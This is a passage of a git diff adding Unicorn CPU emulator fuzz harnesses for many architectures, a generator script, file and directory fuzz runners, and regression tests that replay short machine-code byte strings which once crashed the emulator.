+ } + + // map 4MB memory for this emulation + uc_mem_map(uc, ADDRESS, 4 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write(uc, ADDRESS, Data, Size)) { + printf("Failed to write emulation code to memory, quit!\n"); + abort(); + } + + // emulate code in infinite time & 4096 instructions + // avoid timeouts with infinite loops + err=uc_emu_start(uc, ADDRESS, ADDRESS + Size, 0, 0x1000); + if (err) { + fprintf(outfile, "Failed on uc_emu_start() with error returned %u: %s\n", err, uc_strerror(err)); + } + + uc_close(uc); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_mips_32le.c b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_mips_32le.c new file mode 100644 index 0000000..02786ce --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_mips_32le.c @@ -0,0 +1,56 @@ +#include + + +// memory address where emulation starts +#define ADDRESS 0x1000000 + +uc_engine *uc; +int initialized = 0; +FILE * outfile = NULL; + + +int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { + uc_err err; + + if (initialized == 0) { + if (outfile == NULL) { + // we compute the output + outfile = fopen("/dev/null", "w"); + if (outfile == NULL) { + printf("failed opening /dev/null\n"); + abort(); + return 0; + } + } + + initialized = 1; + } + + // Not global as we must reset this structure + // Initialize emulator in supplied mode + err = uc_open(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_LITTLE_ENDIAN, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + abort(); + } + + // map 4MB memory for this emulation + uc_mem_map(uc, ADDRESS, 4 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write(uc, ADDRESS, Data, Size)) { + printf("Failed to write emulation code to memory, quit!\n"); + abort(); + } + + // emulate code in infinite time & 4096 instructions + // avoid timeouts with infinite loops + err=uc_emu_start(uc, ADDRESS, ADDRESS + Size, 0, 0x1000); + if (err) { + fprintf(outfile, "Failed on uc_emu_start() with error returned %u: %s\n", err, uc_strerror(err)); + } + + uc_close(uc); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_sparc_32be.c b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_sparc_32be.c new file mode 100644 index 0000000..8d3209c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_sparc_32be.c @@ -0,0 +1,56 @@ +#include + + +// memory address where emulation starts +#define ADDRESS 0x1000000 + +uc_engine *uc; +int initialized = 0; +FILE * outfile = NULL; + + +int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { + uc_err err; + + if (initialized == 0) { + if (outfile == NULL) { + // we compute the output + outfile = fopen("/dev/null", "w"); + if (outfile == NULL) { + printf("failed opening /dev/null\n"); + abort(); + return 0; + } + } + + initialized = 1; + } + + // Not global as we must reset this structure + // Initialize emulator in supplied mode + err = uc_open(UC_ARCH_SPARC, UC_MODE_SPARC32|UC_MODE_BIG_ENDIAN, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + abort(); + } + + // map 4MB memory for this emulation + uc_mem_map(uc, ADDRESS, 4 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write(uc, ADDRESS, Data, Size)) { + printf("Failed to write emulation code to memory, quit!\n"); + abort(); + } + + // emulate code in infinite time & 4096 instructions + // avoid timeouts with infinite loops + err=uc_emu_start(uc, ADDRESS, ADDRESS + Size, 0, 0x1000); + if (err) { + fprintf(outfile, "Failed on uc_emu_start() with error returned %u: %s\n", err, uc_strerror(err)); + } + + uc_close(uc); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_x86_16.c b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_x86_16.c new file mode 100644 index 0000000..3e5c6c4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_x86_16.c @@ -0,0 +1,56 @@ +#include + + +// memory address where emulation starts +#define ADDRESS 0x1000000 + +uc_engine *uc; +int initialized = 0; +FILE * outfile = NULL; + + +int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { + uc_err err; + + if (initialized == 0) { + if (outfile == NULL) { + // we compute the output + outfile = fopen("/dev/null", "w"); + if (outfile == NULL) { + printf("failed opening /dev/null\n"); + abort(); + return 0; + } + } + + initialized = 1; + } + + // Not global as we must reset this structure + // Initialize emulator in supplied mode + err = uc_open(UC_ARCH_X86, UC_MODE_16, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + abort(); + } + + // map 4MB memory for this emulation + uc_mem_map(uc, ADDRESS, 4 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write(uc, ADDRESS, Data, Size)) { + printf("Failed to write emulation code to memory, quit!\n"); + abort(); + } + + // emulate code in infinite time & 4096 instructions + // avoid timeouts with infinite loops + err=uc_emu_start(uc, ADDRESS, ADDRESS + Size, 0, 0x1000); + if (err) { + fprintf(outfile, "Failed on uc_emu_start() with error returned %u: %s\n", err, uc_strerror(err)); + } + + uc_close(uc); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_x86_32.c b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_x86_32.c new file mode 100644 index 0000000..d1e3305 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_x86_32.c @@ -0,0 +1,56 @@ +#include + + +// memory address where emulation starts +#define ADDRESS 0x1000000 + +uc_engine *uc; +int initialized = 0; +FILE * outfile = NULL; + + +int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { + uc_err err; + + if (initialized == 0) { + if (outfile == NULL) { + // we compute the output + outfile = fopen("/dev/null", "w"); + if (outfile == NULL) { + printf("failed opening /dev/null\n"); + abort(); + return 0; + } + } + + initialized = 1; + } + + // Not global as we must reset this structure + // Initialize emulator in supplied mode + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + abort(); + } + + // map 4MB memory for this emulation + uc_mem_map(uc, ADDRESS, 4 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write(uc, ADDRESS, Data, Size)) { + printf("Failed to write emulation code to memory, quit!\n"); + abort(); + } + + // emulate code in infinite time & 4096 instructions + // avoid timeouts with infinite loops + err=uc_emu_start(uc, ADDRESS, ADDRESS + Size, 0, 0x1000); + if (err) { + fprintf(outfile, "Failed on uc_emu_start() with error returned %u: %s\n", err, uc_strerror(err)); + } + + uc_close(uc); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_x86_64.c b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_x86_64.c new file mode 100644 index 0000000..f4f63cb --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_x86_64.c @@ -0,0 +1,56 @@ +#include + + +// memory address where emulation starts +#define ADDRESS 0x1000000 + +uc_engine *uc; +int initialized = 0; +FILE * outfile = NULL; + + +int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { + uc_err err; + + if (initialized == 0) { + if (outfile == NULL) { + // we compute the output + outfile = fopen("/dev/null", "w"); + if (outfile == NULL) { + printf("failed opening /dev/null\n"); + abort(); + return 0; + } + } + + initialized = 1; + } + + // Not global as we must reset this structure + // Initialize emulator in supplied mode + err = uc_open(UC_ARCH_X86, UC_MODE_64, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + abort(); + } + + // map 4MB memory for this emulation + uc_mem_map(uc, ADDRESS, 4 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write(uc, ADDRESS, Data, Size)) { + printf("Failed to write emulation code to memory, quit!\n"); + abort(); + } + + // emulate code in infinite time & 4096 instructions + // avoid timeouts with infinite loops + err=uc_emu_start(uc, ADDRESS, ADDRESS + Size, 0, 0x1000); + if (err) { + fprintf(outfile, "Failed on uc_emu_start() with error returned %u: %s\n", err, uc_strerror(err)); + } + + uc_close(uc); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/gentargets.sh b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/gentargets.sh new file mode 100644 index 0000000..9238505 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/gentargets.sh @@ -0,0 +1,21 @@ +#/bin/sh +# generates all fuzz targets for different architectures from the template in fuzz_emu_x86_32.c + +sed 's/UC_MODE_32/UC_MODE_64/' fuzz_emu_x86_32.c > fuzz_emu_x86_64.c +sed 's/UC_MODE_32/UC_MODE_16/' fuzz_emu_x86_32.c > fuzz_emu_x86_16.c + +sed 's/UC_ARCH_X86/UC_ARCH_SPARC/' fuzz_emu_x86_32.c | sed 's/UC_MODE_32/UC_MODE_SPARC32|UC_MODE_BIG_ENDIAN/' > fuzz_emu_sparc_32be.c +#sed 's/UC_ARCH_X86/UC_ARCH_SPARC/' fuzz_emu_x86_32.c | sed 's/UC_MODE_32/UC_MODE_SPARC64|UC_MODE_BIG_ENDIAN/' > fuzz_emu_sparc_64be.c + +sed 's/UC_ARCH_X86/UC_ARCH_M68K/' fuzz_emu_x86_32.c | sed 's/UC_MODE_32/UC_MODE_BIG_ENDIAN/' > fuzz_emu_m68k_be.c + +sed 's/UC_ARCH_X86/UC_ARCH_MIPS/' fuzz_emu_x86_32.c | sed 's/UC_MODE_32/UC_MODE_MIPS32 + UC_MODE_LITTLE_ENDIAN/' > fuzz_emu_mips_32le.c +sed 's/UC_ARCH_X86/UC_ARCH_MIPS/' fuzz_emu_x86_32.c | sed 's/UC_MODE_32/UC_MODE_MIPS32 + UC_MODE_BIG_ENDIAN/' > fuzz_emu_mips_32be.c + +sed 's/UC_ARCH_X86/UC_ARCH_ARM64/' fuzz_emu_x86_32.c | sed 's/UC_MODE_32/UC_MODE_ARM/' > fuzz_emu_arm64_arm.c +sed 's/UC_ARCH_X86/UC_ARCH_ARM64/' fuzz_emu_x86_32.c | sed 's/UC_MODE_32/UC_MODE_ARM + UC_MODE_BIG_ENDIAN/' > fuzz_emu_arm64_armbe.c + +sed 's/UC_ARCH_X86/UC_ARCH_ARM/' fuzz_emu_x86_32.c | sed 's/UC_MODE_32/UC_MODE_ARM/' > fuzz_emu_arm_arm.c +sed 's/UC_ARCH_X86/UC_ARCH_ARM/' fuzz_emu_x86_32.c | sed 's/UC_MODE_32/UC_MODE_THUMB/' > fuzz_emu_arm_thumb.c +sed 's/UC_ARCH_X86/UC_ARCH_ARM/' fuzz_emu_x86_32.c | sed 's/UC_MODE_32/UC_MODE_ARM + UC_MODE_BIG_ENDIAN/' > fuzz_emu_arm_armbe.c +#sed 's/UC_ARCH_X86/UC_ARCH_ARM/' fuzz_emu_x86_32.c | sed 's/UC_MODE_32/UC_MODE_THUMB + UC_MODE_BIG_ENDIAN/' > fuzz_emu_arm_thumbbe.c diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/onedir.c b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/onedir.c new file mode 100644 index 0000000..21f9a76 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/onedir.c @@ -0,0 +1,80 @@ +#include +#include +#include +#include +#include + +int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size); + +int main(int argc, char** argv) +{ + FILE * fp; + uint8_t Data[0x1000]; + size_t Size; + DIR *d; + struct dirent *dir; + int r = 0; + int i; + + if (argc != 2) { + return 1; + } + + d = opendir(argv[1]); + if (d == NULL) { + printf("Invalid directory\n"); + return 2; + } + if (chdir(argv[1]) != 0) { + closedir(d); + printf("Invalid directory\n"); + return 2; + } + + printf("Starting directory %s\n", argv[1]); + while((dir = readdir(d)) != NULL) { + //opens the file, get its size, and reads it into a buffer + if (dir->d_type != DT_REG) { + continue; + } + //printf("Running file %s\n", dir->d_name); + fflush(stdout); + fp = fopen(dir->d_name, "rb"); + if (fp == NULL) { + r = 3; + break; + } + if (fseek(fp, 0L, SEEK_END) != 0) { + fclose(fp); + r = 4; + break; + } + Size = ftell(fp); + if (Size == (size_t) -1) { + fclose(fp); + r = 5; + break; + } else if (Size > 0x1000) { + fclose(fp); + continue; + } + if (fseek(fp, 0L, SEEK_SET) != 0) { + fclose(fp); + r = 7; + break; + } + if (fread(Data, Size, 1, fp) != 1) { + fclose(fp); + r = 8; + break; + } + + //lauch fuzzer + LLVMFuzzerTestOneInput(Data, Size); + fclose(fp); + } + closedir(d); + printf("Ok : whole directory finished %s\n", argv[1]); + return r; +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/onefile.c b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/onefile.c new file mode 100644 index 0000000..3146cc0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/onefile.c @@ -0,0 +1,49 @@ +#include +#include +#include + +int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size); + +int main(int argc, char** argv) +{ + FILE * fp; + uint8_t *Data; + size_t Size; + + if (argc != 2) { + return 1; + } + //opens the file, get its size, and reads it into a buffer + fp = fopen(argv[1], "rb"); + if (fp == NULL) { + return 2; + } + if (fseek(fp, 0L, SEEK_END) != 0) { + fclose(fp); + return 2; + } + Size = ftell(fp); + if (Size == (size_t) -1) { + fclose(fp); + return 2; + } + if (fseek(fp, 0L, SEEK_SET) != 0) { + fclose(fp); + return 2; + } + Data = malloc(Size); + if (Data == NULL) { + fclose(fp); + return 2; + } + if (fread(Data, Size, 1, fp) != 1) { + fclose(fp); + return 2; + } + + //lauch fuzzer + LLVMFuzzerTestOneInput(Data, Size); + fclose(fp); + return 0; +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/.gitignore b/ai_anti_malware/unicorn/unicorn-master/tests/regress/.gitignore new file mode 100644 index 0000000..ca97ad9 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/.gitignore @@ -0,0 +1,40 @@ +!*.c + +arm_enable_vfp +map_crash +sigill +sigill2 +block_test +map_write +ro_mem_test +nr_mem_test +timeout_segfault +rep_movsb +mips_kseg0_1 +eflags_nosync +00opcode_uc_crash +eflags_noset +invalid_read_in_cpu_tb_exec +invalid_write_in_cpu_tb_exec_x86_64 +x86_16_segfault +mips_invalid_read_of_size_4_when_tracing +invalid_read_in_tb_flush_x86_64 +sparc_jump_to_zero +mips_delay_slot_code_hook +threaded_emu_start +emu_stop_in_hook_overrun +mips_branch_likely_issue +emu_clear_errors +001-bad_condition_code_0xe +002-qemu__fatal__unimplemented_control_register_write_0xffb___0x0 +003-qemu__fatal__wdebug_not_implemented +004-segmentation_fault_1 +005-qemu__fatal__illegal_instruction__0000___00000404 +006-qemu__fatal__illegal_instruction__0421___00040026 + +rw_hookstack +hook_extrainvoke +sysenter_hook_x86 + +memleak_* +mem_* diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/001-bad_condition_code_0xe.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/001-bad_condition_code_0xe.c new file mode 100644 index 0000000..bcc51e8 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/001-bad_condition_code_0xe.c @@ -0,0 +1,31 @@ +#include + +#define HARDWARE_ARCHITECTURE UC_ARCH_ARM +#define HARDWARE_MODE 16 +#define MEMORY_STARTING_ADDRESS 8192 +#define MEMORY_SIZE 4096 +#define MEMORY_PERMISSIONS 6 +#define BINARY_CODE "\x56\xe8\x46\x46\x80\xf6\x8c\x56\xff\xbf\xcd\x90\xda\xa0\xed\xe8\x46\x43\x45\xe5\x80\x90\x44\x46\x04" + +static void hook_code(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) { + printf("hook_code(…) called\n"); +} + +int main(int argc, char **argv, char **envp) { + uc_engine *uc; + if (uc_open(HARDWARE_ARCHITECTURE, HARDWARE_MODE, &uc)) { + printf("uc_open(…) failed\n"); + return 1; + } + uc_mem_map(uc, MEMORY_STARTING_ADDRESS, MEMORY_SIZE, MEMORY_PERMISSIONS); + if (uc_mem_write(uc, MEMORY_STARTING_ADDRESS, BINARY_CODE, sizeof(BINARY_CODE) - 1)) { + printf("uc_mem_write(…) failed\n"); + return 1; + } + uc_hook trace; + uc_hook_add(uc, &trace, UC_HOOK_CODE, hook_code, NULL, (uint64_t)MEMORY_STARTING_ADDRESS, (uint64_t)(MEMORY_STARTING_ADDRESS + 1)); + printf("uc_emu_start(…)\n"); + uc_emu_start(uc, MEMORY_STARTING_ADDRESS, MEMORY_STARTING_ADDRESS + sizeof(BINARY_CODE) - 1, 0, 0); + printf("done\n"); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/002-qemu__fatal__unimplemented_control_register_write_0xffb___0x0.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/002-qemu__fatal__unimplemented_control_register_write_0xffb___0x0.c new file mode 100644 index 0000000..6f8575b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/002-qemu__fatal__unimplemented_control_register_write_0xffb___0x0.c @@ -0,0 +1,31 @@ +#include + +#define HARDWARE_ARCHITECTURE UC_ARCH_M68K +#define HARDWARE_MODE 1073741824 +#define MEMORY_STARTING_ADDRESS 8388608 +#define MEMORY_SIZE 2097152 +#define MEMORY_PERMISSIONS 7 +#define BINARY_CODE "\xaf\x80\x4e\x7b\xff\xfb\x80\x4e\x3e\x80" + +static void hook_code(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) { + printf("hook_code(…) called\n"); +} + +int main(int argc, char **argv, char **envp) { + uc_engine *uc; + if (uc_open(HARDWARE_ARCHITECTURE, HARDWARE_MODE, &uc)) { + printf("uc_open(…) failed\n"); + return 1; + } + uc_mem_map(uc, MEMORY_STARTING_ADDRESS, MEMORY_SIZE, MEMORY_PERMISSIONS); + if (uc_mem_write(uc, MEMORY_STARTING_ADDRESS, BINARY_CODE, sizeof(BINARY_CODE) - 1)) { + printf("uc_mem_write(…) failed\n"); + return 1; + } + uc_hook trace; + uc_hook_add(uc, &trace, UC_HOOK_CODE, hook_code, NULL, (uint64_t)MEMORY_STARTING_ADDRESS, (uint64_t)(MEMORY_STARTING_ADDRESS + 1)); + printf("uc_emu_start(…)\n"); + uc_emu_start(uc, MEMORY_STARTING_ADDRESS, MEMORY_STARTING_ADDRESS + sizeof(BINARY_CODE) - 1, 0, 0); + printf("done\n"); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/003-qemu__fatal__wdebug_not_implemented.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/003-qemu__fatal__wdebug_not_implemented.c new file mode 100644 index 0000000..4e07235 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/003-qemu__fatal__wdebug_not_implemented.c @@ -0,0 +1,31 @@ +#include + +#define HARDWARE_ARCHITECTURE UC_ARCH_M68K +#define HARDWARE_MODE 1073741824 +#define MEMORY_STARTING_ADDRESS 1048576 +#define MEMORY_SIZE 403456 +#define MEMORY_PERMISSIONS 7 +#define BINARY_CODE "\x42\xc7\xfb\xfb\x54\x36" + +static void hook_code(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) { + printf("hook_code(…) called\n"); +} + +int main(int argc, char **argv, char **envp) { + uc_engine *uc; + if (uc_open(HARDWARE_ARCHITECTURE, HARDWARE_MODE, &uc)) { + printf("uc_open(…) failed\n"); + return 1; + } + uc_mem_map(uc, MEMORY_STARTING_ADDRESS, MEMORY_SIZE, MEMORY_PERMISSIONS); + if (uc_mem_write(uc, MEMORY_STARTING_ADDRESS, BINARY_CODE, sizeof(BINARY_CODE) - 1)) { + printf("uc_mem_write(…) failed\n"); + return 1; + } + uc_hook trace; + uc_hook_add(uc, &trace, UC_HOOK_CODE, hook_code, NULL, (uint64_t)MEMORY_STARTING_ADDRESS, (uint64_t)(MEMORY_STARTING_ADDRESS + 1)); + printf("uc_emu_start(…)\n"); + uc_emu_start(uc, MEMORY_STARTING_ADDRESS, MEMORY_STARTING_ADDRESS + sizeof(BINARY_CODE) - 1, 0, 0); + printf("done\n"); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/004-segmentation_fault_1.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/004-segmentation_fault_1.c new file mode 100644 index 0000000..636cae7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/004-segmentation_fault_1.c @@ -0,0 +1,31 @@ +#include + +#define HARDWARE_ARCHITECTURE UC_ARCH_ARM +#define HARDWARE_MODE 16 +#define MEMORY_STARTING_ADDRESS 1024 +#define MEMORY_SIZE 1796096 +#define MEMORY_PERMISSIONS 7 +#define BINARY_CODE "\x20\xbf\xbf\xbf\xbf\xdd\x5d\x74\x5e\x66\x72\x10" + +static void hook_code(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) { + printf("hook_code(…) called\n"); +} + +int main(int argc, char **argv, char **envp) { + uc_engine *uc; + if (uc_open(HARDWARE_ARCHITECTURE, HARDWARE_MODE, &uc)) { + printf("uc_open(…) failed\n"); + return 1; + } + uc_mem_map(uc, MEMORY_STARTING_ADDRESS, MEMORY_SIZE, MEMORY_PERMISSIONS); + if (uc_mem_write(uc, MEMORY_STARTING_ADDRESS, BINARY_CODE, sizeof(BINARY_CODE) - 1)) { + printf("uc_mem_write(…) failed\n"); + return 1; + } + uc_hook trace; + uc_hook_add(uc, &trace, UC_HOOK_CODE, hook_code, NULL, (uint64_t)MEMORY_STARTING_ADDRESS, (uint64_t)(MEMORY_STARTING_ADDRESS + 1)); + printf("uc_emu_start(…)\n"); + uc_emu_start(uc, MEMORY_STARTING_ADDRESS, MEMORY_STARTING_ADDRESS + sizeof(BINARY_CODE) - 1, 0, 0); + printf("done\n"); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/005-qemu__fatal__illegal_instruction__0000___00000404.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/005-qemu__fatal__illegal_instruction__0000___00000404.c new file mode 100644 index 0000000..b2bea73 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/005-qemu__fatal__illegal_instruction__0000___00000404.c @@ -0,0 +1,31 @@ +#include + +#define HARDWARE_ARCHITECTURE UC_ARCH_M68K +#define HARDWARE_MODE 1073741824 +#define MEMORY_STARTING_ADDRESS 1024 +#define MEMORY_SIZE 1044480 +#define MEMORY_PERMISSIONS 5 +#define BINARY_CODE "\x4c\x4c" + +static void hook_code(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) { + printf("hook_code(…) called\n"); +} + +int main(int argc, char **argv, char **envp) { + uc_engine *uc; + if (uc_open(HARDWARE_ARCHITECTURE, HARDWARE_MODE, &uc)) { + printf("uc_open(…) failed\n"); + return 1; + } + uc_mem_map(uc, MEMORY_STARTING_ADDRESS, MEMORY_SIZE, MEMORY_PERMISSIONS); + if (uc_mem_write(uc, MEMORY_STARTING_ADDRESS, BINARY_CODE, sizeof(BINARY_CODE) - 1)) { + printf("uc_mem_write(…) failed\n"); + return 1; + } + uc_hook trace; + uc_hook_add(uc, &trace, UC_HOOK_CODE, hook_code, NULL, (uint64_t)MEMORY_STARTING_ADDRESS, (uint64_t)(MEMORY_STARTING_ADDRESS + 1)); + printf("uc_emu_start(…)\n"); + uc_emu_start(uc, MEMORY_STARTING_ADDRESS, MEMORY_STARTING_ADDRESS + sizeof(BINARY_CODE) - 1, 0, 0); + printf("done\n"); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/006-qemu__fatal__illegal_instruction__0421___00040026.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/006-qemu__fatal__illegal_instruction__0421___00040026.c new file mode 100644 index 0000000..607c9d5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/006-qemu__fatal__illegal_instruction__0421___00040026.c @@ -0,0 +1,31 @@ +#include + +#define HARDWARE_ARCHITECTURE UC_ARCH_M68K +#define HARDWARE_MODE 1073741824 +#define MEMORY_STARTING_ADDRESS 262144 +#define MEMORY_SIZE 403456 +#define MEMORY_PERMISSIONS 7 +#define BINARY_CODE "\xe2\x86\x09\xbc\xf2\x17\x09\xca\xca\xca\xca\x09\x09\x09\xf2\x17\x09\x20\x09\x09\xf2\x08\x09\x03\x09\xca\x6b\x6b\x6b\x1e\xca\xca\x86\x09\x09\xf2\x17\x09\x04\x21\x09\x09\xf4\xf4\xf4\xf4\xf4\xf4\xf4\xf4\xf4\xf4\xf4\xf4\xf4\xf4\xf4\xf4\xf4\xf4\xf4\xf4\xf2" + +static void hook_code(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) { + printf("hook_code(…) called\n"); +} + +int main(int argc, char **argv, char **envp) { + uc_engine *uc; + if (uc_open(HARDWARE_ARCHITECTURE, HARDWARE_MODE, &uc)) { + printf("uc_open(…) failed\n"); + return 1; + } + uc_mem_map(uc, MEMORY_STARTING_ADDRESS, MEMORY_SIZE, MEMORY_PERMISSIONS); + if (uc_mem_write(uc, MEMORY_STARTING_ADDRESS, BINARY_CODE, sizeof(BINARY_CODE) - 1)) { + printf("uc_mem_write(…) failed\n"); + return 1; + } + uc_hook trace; + uc_hook_add(uc, &trace, UC_HOOK_CODE, hook_code, NULL, (uint64_t)MEMORY_STARTING_ADDRESS, (uint64_t)(MEMORY_STARTING_ADDRESS + 1)); + printf("uc_emu_start(…)\n"); + uc_emu_start(uc, MEMORY_STARTING_ADDRESS, MEMORY_STARTING_ADDRESS + sizeof(BINARY_CODE) - 1, 0, 0); + printf("done\n"); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/00opcode_uc_crash.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/00opcode_uc_crash.c new file mode 100644 index 0000000..e735cfe --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/00opcode_uc_crash.c @@ -0,0 +1,69 @@ +#include +#include +#include + +#include + +#define X86_CODE32 "\x00" // add byte ptr ds:[eax],al +#define ADDRESS 0x1000000 + +static void VM_exec() +{ + uc_engine *uc; + uc_err err; + uint32_t tmp; + unsigned int r_eax; + + r_eax = 0x1000008; + + // Initialize emulator in X86-32bit mode + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if(err) + { + printf("Failed on uc_open() with error returned: %s\n", uc_strerror(err)); + return; + } + + err = uc_mem_map(uc, ADDRESS, (4 * 1024 * 1024), UC_PROT_ALL); + if(err != UC_ERR_OK) + { + printf("Failed to map memory %s\n", uc_strerror(err)); + return; + } + + // write machine code to be emulated to memory + err = uc_mem_write(uc, ADDRESS, X86_CODE32, sizeof(X86_CODE32) - 1); + if(err != UC_ERR_OK) + { + printf("Failed to write emulation code to memory, quit!: %s(len %zu)\n", uc_strerror(err), sizeof(X86_CODE32) - 1); + return; + } + + // initialize machine registers + uc_reg_write(uc, UC_X86_REG_EAX, &r_eax); + + // emulate machine code in infinite time + err = uc_emu_start(uc, ADDRESS, ADDRESS + (sizeof(X86_CODE32) - 1), 0, 0); + if(err) + { + printf("Failed on uc_emu_start() with error returned %u: %s\n", err, uc_strerror(err)); + + uc_close(uc); + return; + } + + if (!uc_mem_read(uc, ADDRESS+8, &tmp, sizeof(tmp))) + printf(">>> Read 4 bytes from [0x%08X] = 0x%08X\n", ADDRESS+8, tmp); //should contain the byte '8' + else + printf(">>> Failed to read 4 bytes from [0x%08X]\n", ADDRESS+8); + + uc_close(uc); + + puts("No crash. Yay!"); +} + +int main(int argc, char *argv[]) +{ + VM_exec(); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/LICENSE b/ai_anti_malware/unicorn/unicorn-master/tests/regress/LICENSE new file mode 100644 index 0000000..dd85900 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/LICENSE @@ -0,0 +1,30 @@ +This is the software license for Unicorn regression tests. The regression tests +are written by several Unicorn contributors (See CREDITS.TXT) and maintained by +Hoang-Vu Dang + +Copyright (c) 2015, Unicorn contributors +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. +* Neither the name of the developer(s) nor the names of its + contributors may be used to endorse or promote products derived from this + software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR 